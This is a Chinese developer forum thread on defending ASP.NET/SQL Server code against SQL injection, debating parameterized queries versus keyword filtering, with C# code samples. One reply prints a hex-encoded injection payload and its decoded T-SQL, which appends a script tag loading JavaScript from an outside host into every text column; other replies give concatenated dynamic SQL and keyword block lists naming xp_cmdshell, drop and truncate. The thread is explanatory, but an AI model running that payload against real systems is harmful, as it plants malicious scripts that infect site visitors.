能否给个具体的方法啊?最简单的方法就是参数化,转义就交给ado.net来完成了

解决方案 »

  1.   

    其他都是扯淡,
    @参数化,生成SQL最终必须是直接执行的,不能是EXEC执行。
    不管是普通SQL还是存储过程,就算你用@参数,但是最终的SQL是拼接的,就必须用EXEC执行,这样就可以被注入。
      

  2.   

    http://technet.microsoft.com/zh-cn/library/ms161953.aspx
      

  3.   

    说通过替换关键字的来避免sql注入的都是扯淡
    凭什么用户输入的select就不能是一个正常的数据
    参数化简单又安全,为啥非要用关键字替换???
    当然参数化之后进行sql拼接的这种情况也真实存在,这种其实还是拼sql,这种情况下参数化毫无意义
      

  4.   

    建议参数化,同时对输入的文本框进行过滤,若果检测到' and order by select 等字眼就警告然后终止。最后说一句,没有百分百的安全。
      

  5.   

    必须用参数化啊,
    用什么替换,像CSDN这种,你还能禁止别人发代码?
      

  6.   

    如果大小写你觉得是问题,可以将其tolowercase后在判断啊
      

  7.   

    能否给个具体的方法啊?最简单的方法就是参数化,转义就交给ado.net来完成了
    学习了
      

  8.   

    所有的SQL句子都用Command来执行,像下面这样 他就注入个P了 100%防注 SqlConnection Conn = GetSqlConnection();
    SqlCommand Cmd = new SqlCommand("Lv_SysConfig_Update",Conn);
    Cmd.CommandType=CommandType.StoredProcedure;
    Cmd.Parameters.Add("@BBSName", SqlDbType.NVarChar).Value =sysConfig.BBSName;
    Cmd.Parameters.Add("@BBSLogo", SqlDbType.NVarChar).Value =sysConfig.BBSLogo;
    Cmd.Parameters.Add("@Copyright", SqlDbType.NVarChar).Value ="LvBBS.Net";//sysConfig.Copyright;
    Cmd.Parameters.Add("@IsOpen", SqlDbType.Bit).Value =sysConfig.IsOpen;
    //Cmd.Parameters.Add("@BadWords", SqlDbType.NVarChar).Value =sysConfig.BadWords; Cmd.Parameters.Add("@AllTopicCount", SqlDbType.Int).Value =sysConfig.AllTopicCount;
    Cmd.Parameters.Add("@AllReplyCount", SqlDbType.Int).Value =sysConfig.AllReplyCount;
    Cmd.Parameters.Add("@UserCount", SqlDbType.Int).Value =sysConfig.UserCount;
    Cmd.Parameters.Add("@TodayPostCount", SqlDbType.Int).Value =sysConfig.TodayPostCount;
    Cmd.Parameters.Add("@MaxOnLine", SqlDbType.Int).Value =sysConfig.MaxOnline;
    Cmd.Parameters.Add("@MaxOnLineDate", SqlDbType.DateTime).Value =sysConfig.MaxOnlineDate;
    Cmd.Parameters.Add("@DefaultSkinName", SqlDbType.NVarChar).Value =sysConfig.@DefaultSkinName;
    //Cmd.Parameters.Add("@NewUser", SqlDbType.NVarChar).Value =sysConfig.NewUser;
    Cmd.Parameters.Add("@StringNameValues", SqlDbType.VarBinary,8000).Value = sysConfig.SerializeExtendedAttributes();
    Cmd.Parameters.Add("@UpdateType", SqlDbType.Bit).Value =UpdateToday;
    Conn.Open();
    Cmd.ExecuteNonQuery();
    Cmd.Dispose();
    Conn.Close();
      

  9.   

    参数化执行和参数化sql是两码事,
    只要保证sql不和参数拼接,就能防止注入
    使用EXEC SP_EXECUTESQL 执行参数化sql,而不是拼接sql就能防止Sql注入
    ADO也是调用的SP_EXECUTESQL例如17楼的例子,如果被调用的存储过程中这么写就可以防止注入:
    DECLARE @_Sql1 NVARCHAR(4000)='SELECT * FROM BBS WHERE BBSName=@BBSName';
    EXEC SP_EXECUTESQL @_Sql1,N'@BBSName NVARCHAR(100)',@BBSName;
    但是如果像这样写,照样可以注入:
    DECLARE @_Sql2 NVARCHAR(4000)='SELECT * FROM BBS WHERE BBSName='''+@BBSName+''';
    EXEC SP_EXECUTESQL @_Sql2;尽管如此,仍然不能说绝对不能注入,比如like子句中的通配符就是可以注入的,
    更多详情参见MSDN:
    SP_EXECUTESQL
    SQL注入
      

  10.   

    字符串替换法,只能勉强防御不小心输入敏感字符的情况。对于sql注入攻击,基本没用处,大部分sql注入工具提供sql代码转换为16进制。
    人家直接用16进制注入的。注入以下代码dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);--就等于执行
    DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C END
    CLOSE Table_Cursor DEALLOCATE Table_Cursor
      

  11.   

    别用替换法了。现在已经21世纪了,替换法起码是1998年的时候asp那群人喜欢用的招式。这种方法连基本的发帖,都做不到。
    假如发一篇文章,讲解数据库代码的,你都给替换掉关键字了,人类看不懂,计算机也看不懂了。
      

  12.   

    参数法不能说100%防注入,毕竟参数法也是一种处理,如果算法有漏洞仍然会被注入,但相比替换法仍然安全很多(楼上已经说了),对于大部分的sql注入攻击都能有效避免。
      

  13.   

    如果你给t-sql语句里边拼接字符串常量,可是你不知道字符串里边的单引号要替换为两个单引号,此时还扯什么“SQL注入”干什么呢?先把t-sql语法学习一下吧。原本这首先根本不是什么“注入”问题,被有些人夸大了。
      

  14.   

    同样地,如果你拼接t-sql语句中的数值常量(例如整数),你为什么不先保证字符串确实是数值呢?例如你可以写.....where xx=" + int.Parse(text).ToString()
    需要确保text转换为int,这才符合t-sql语法。
      

  15.   

    比如说有些人整天吃垃圾箱里的食物,于是就有一种论调“每天和一小瓶敌敌畏用来杀菌”。你觉得正常人也应该每天如此吗?那些纠缠什么“SQL注入”的人,那些连个著名的书名“Dead Alert”都不许人家录入的人,算是什么数据库程序员?正常的字符串录入内容都给人家“过滤”得面目全非而不能录入数据库了。
      

  16.   

    都什么年代啦,还在防SQL注入?
      

  17.   

    而且是扯蛋中的扯蛋,比如说:dedeletelete,ininsertsert
      

  18.   

    sql注入的原理是sql对你的程序而言只是字符串,如果用拼接的方法来处理参数的话就会让参数也拥有执行权限
    用Parameters的话等于是程序把sql语句和参数分开传给数据库
      

  19.   

    我以前曾经多次修补网站漏洞,包括参数化、字符串Int等等。
    不过还是被攻击过。
    不过现在似乎都防住了!
    楼主Google搜索一下 “360safe.cs”
    相信一定可以解决你的问题。
      

  20.   

    最近一次的入侵是通过cookie  360safe.cs完美解决了各种问题,有些误报不过相对非常少。
      

  21.   

    参数化,并且不拼接SQL语句,不使用EXEC执行语句。PS:过滤字符是没用的,不管黑猫白猫都一棍子打死。
      

  22.   

       private bool ProcessSqlStr(string Str)
            {
                bool ReturnValue = true;            try
                {
                    string value = Str;                if (value == null)
                    {
                        return true;
                    }                string pattern = @"'|xp_cmdshell|/add|select|count|insert|delete|drop|update|truncate|master|declare";
                    bool bl = Regex.IsMatch(value, pattern, RegexOptions.IgnoreCase);
                    if (bl)
                    {
                        ReturnValue = false;
                    }
                }
                catch
                {
                    ReturnValue = false;
                }
                return ReturnValue;                  }
      

  23.   

    对于SQL注入其实大家完全可以换个角度去想比如,你为什么要防SQL注入啊???为什么要防啊??你只需要关心传递过来的信息是你需要的并且符合你的规则的正确数据就好了啊,url传值的时候尽量用数字进行传递,接收页面 Convert.ToInt32 一下,只要不报异常那就是正确的数字啊,然后最多判断一下这个数字是否在你设定的一个取值范围就行了,所以不用想着怎样过滤等等做法太虐心了,只要验证是你需要的东西就OK了
      

  24.   

    如果你非要使用拼接,建议str.ToLower()转换为小写之后再进行处理
      

  25.   

    ///  <summary> 
            /// 分析用户请求是否正常 
            ///  </summary> 
            ///  <param name="Str">传入用户提交数据 </param> 
            ///  <returns>返回是否含有SQL注入式攻击代码 </returns> 
            private bool ProcessSqlStr(string Str) 
            { 
                bool ReturnValue = true; 
                try 
                { 
                    if (Str.Trim() != "") 
                    { 
                        string SqlStr = "exec |insert |select |delete |update |count |* |mid |master |truncate |char |declare"; 
     
                        string[] anySqlStr = SqlStr.Split('|'); 
                        foreach (string ss in anySqlStr) 
                        { 
                            if (Str.ToLower().IndexOf(ss.Trim()) >= 0) 
                            {
                                ReturnValue = false; 
                                break; 
                            } 
                        } 
                    } 
                } 
                catch 
                { 
                    ReturnValue = false; 
                } 
                return ReturnValue; 
            }